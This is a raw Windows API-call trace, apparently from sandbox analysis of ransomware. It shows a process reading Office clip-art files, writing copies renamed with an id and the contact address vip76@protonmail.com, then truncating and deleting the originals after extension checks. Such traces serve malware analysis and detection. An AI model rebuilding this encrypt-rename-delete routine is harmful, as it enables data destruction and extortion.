	[0203.761] ReadFile (in: hFile=0x288, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x6688, lpOverlapped=0x0) returned 1
	[0203.764] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x6690, lpOverlapped=0x0) returned 1
	[0203.765] ReadFile (in: hFile=0x288, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.765] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.766] SetEndOfFile (hFile=0x554) returned 1
	[0203.766] CloseHandle (hObject=0x554) returned 1
	[0203.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.766] SetEndOfFile (hFile=0x288) returned 1
	[0203.769] CloseHandle (hObject=0x288) returned 1
	[0203.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1
	[0203.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.770] lstrlenW (lpString=".doc") returned 4
	[0203.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.770] lstrlenW (lpString=".docx") returned 5
	[0203.770] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0203.770] lstrlenW (lpString=".pdf") returned 4
	[0203.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.770] lstrlenW (lpString=".xls") returned 4
	[0203.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.770] lstrlenW (lpString=".xlsx") returned 5
	[0203.770] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0203.770] lstrlenW (lpString=".ppt") returned 4
	[0203.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.771] lstrlenW (lpString=".zip") returned 4
	[0203.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.771] lstrlenW (lpString=".rar") returned 4
	[0203.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString=".bz2") returned 4
	[0203.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString=".7z") returned 3
	[0203.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.771] lstrlenW (lpString=".dbf") returned 4
	[0203.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.771] lstrlenW (lpString=".1cd") returned 4
	[0203.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.771] lstrlenW (lpString=".jpg") returned 4
	[0203.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.771] lstrlenW (lpString=".doc") returned 4
	[0203.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString=".docx") returned 5
	[0203.771] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0203.771] lstrlenW (lpString=".pdf") returned 4
	[0203.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.771] lstrlenW (lpString=".xls") returned 4
	[0203.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.771] lstrlenW (lpString=".xlsx") returned 5
	[0203.771] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0203.771] lstrlenW (lpString=".ppt") returned 4
	[0203.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.772] lstrlenW (lpString=".zip") returned 4
	[0203.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.772] lstrlenW (lpString=".rar") returned 4
	[0203.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.772] lstrlenW (lpString=".bz2") returned 4
	[0203.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.772] lstrlenW (lpString=".7z") returned 3
	[0203.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.772] lstrlenW (lpString=".dbf") returned 4
	[0203.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.772] lstrlenW (lpString=".1cd") returned 4
	[0203.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0203.772] lstrlenW (lpString=".jpg") returned 4
	[0203.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.772] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.772] lstrlenW (lpString="J0152702.WMF") returned 12
	[0203.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.774] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1208) returned 1
	[0203.774] CloseHandle (hObject=0x288) returned 1
	[0203.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220
	[0203.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0203.775] GetLastError () returned 0x0
	[0203.775] ReadFile (in: hFile=0x288, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4b8, lpOverlapped=0x0) returned 1
	[0203.777] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0203.778] ReadFile (in: hFile=0x288, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.778] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.778] SetEndOfFile (hFile=0x554) returned 1
	[0203.778] CloseHandle (hObject=0x554) returned 1
	[0203.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.778] SetEndOfFile (hFile=0x288) returned 1
	[0203.781] CloseHandle (hObject=0x288) returned 1
	[0203.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1
	[0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.783] lstrlenW (lpString=".doc") returned 4
	[0203.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.783] lstrlenW (lpString=".docx") returned 5
	[0203.783] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0203.783] lstrlenW (lpString=".pdf") returned 4
	[0203.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.783] lstrlenW (lpString=".xls") returned 4
	[0203.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.783] lstrlenW (lpString=".xlsx") returned 5
	[0203.783] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0203.783] lstrlenW (lpString=".ppt") returned 4
	[0203.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.783] lstrlenW (lpString=".zip") returned 4
	[0203.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.783] lstrlenW (lpString=".rar") returned 4
	[0203.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.783] lstrlenW (lpString=".bz2") returned 4
	[0203.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.783] lstrlenW (lpString=".7z") returned 3
	[0203.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.784] lstrlenW (lpString=".dbf") returned 4
	[0203.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.784] lstrlenW (lpString=".1cd") returned 4
	[0203.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.784] lstrlenW (lpString=".jpg") returned 4
	[0203.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.784] lstrlenW (lpString=".doc") returned 4
	[0203.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString=".docx") returned 5
	[0203.784] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0203.784] lstrlenW (lpString=".pdf") returned 4
	[0203.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString=".xls") returned 4
	[0203.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.784] lstrlenW (lpString=".xlsx") returned 5
	[0203.784] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0203.784] lstrlenW (lpString=".ppt") returned 4
	[0203.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.784] lstrlenW (lpString=".zip") returned 4
	[0203.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.784] lstrlenW (lpString=".rar") returned 4
	[0203.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString=".bz2") returned 4
	[0203.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.784] lstrlenW (lpString=".7z") returned 3
	[0203.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.785] lstrlenW (lpString=".dbf") returned 4
	[0203.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.785] lstrlenW (lpString=".1cd") returned 4
	[0203.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0203.785] lstrlenW (lpString=".jpg") returned 4
	[0203.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.785] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.785] lstrlenW (lpString="J0152704.WMF") returned 12
	[0203.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.786] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1652) returned 1
	[0203.786] CloseHandle (hObject=0x288) returned 1
	[0203.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220
	[0203.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0203.788] GetLastError () returned 0x0
	[0203.788] ReadFile (in: hFile=0x288, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x674, lpOverlapped=0x0) returned 1
	[0203.789] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x680, lpOverlapped=0x0) returned 1
	[0203.790] ReadFile (in: hFile=0x288, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.790] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.791] SetEndOfFile (hFile=0x554) returned 1
	[0203.791] CloseHandle (hObject=0x554) returned 1
	[0203.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.791] SetEndOfFile (hFile=0x288) returned 1
	[0203.793] CloseHandle (hObject=0x288) returned 1
	[0203.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1
	[0204.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.148] lstrlenW (lpString=".doc") returned 4
	[0204.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.148] lstrlenW (lpString=".docx") returned 5
	[0204.148] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.148] lstrlenW (lpString=".pdf") returned 4
	[0204.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.148] lstrlenW (lpString=".xls") returned 4
	[0204.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.148] lstrlenW (lpString=".xlsx") returned 5
	[0204.148] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.148] lstrlenW (lpString=".ppt") returned 4
	[0204.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.148] lstrlenW (lpString=".zip") returned 4
	[0204.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.148] lstrlenW (lpString=".rar") returned 4
	[0204.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.148] lstrlenW (lpString=".bz2") returned 4
	[0204.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.148] lstrlenW (lpString=".7z") returned 3
	[0204.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.149] lstrlenW (lpString=".dbf") returned 4
	[0204.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.149] lstrlenW (lpString=".1cd") returned 4
	[0204.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.149] lstrlenW (lpString=".jpg") returned 4
	[0204.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.149] lstrlenW (lpString=".doc") returned 4
	[0204.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString=".docx") returned 5
	[0204.149] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.149] lstrlenW (lpString=".pdf") returned 4
	[0204.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString=".xls") returned 4
	[0204.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.149] lstrlenW (lpString=".xlsx") returned 5
	[0204.149] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.149] lstrlenW (lpString=".ppt") returned 4
	[0204.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.149] lstrlenW (lpString=".zip") returned 4
	[0204.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.149] lstrlenW (lpString=".rar") returned 4
	[0204.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString=".bz2") returned 4
	[0204.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.149] lstrlenW (lpString=".7z") returned 3
	[0204.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.150] lstrlenW (lpString=".dbf") returned 4
	[0204.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.150] lstrlenW (lpString=".1cd") returned 4
	[0204.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0204.150] lstrlenW (lpString=".jpg") returned 4
	[0204.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.150] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.150] lstrlenW (lpString="J0152882.WMF") returned 12
	[0204.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.152] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=9072) returned 1
	[0204.152] CloseHandle (hObject=0x5d0) returned 1
	[0204.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220
	[0204.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.152] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.153] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.154] GetLastError () returned 0x0
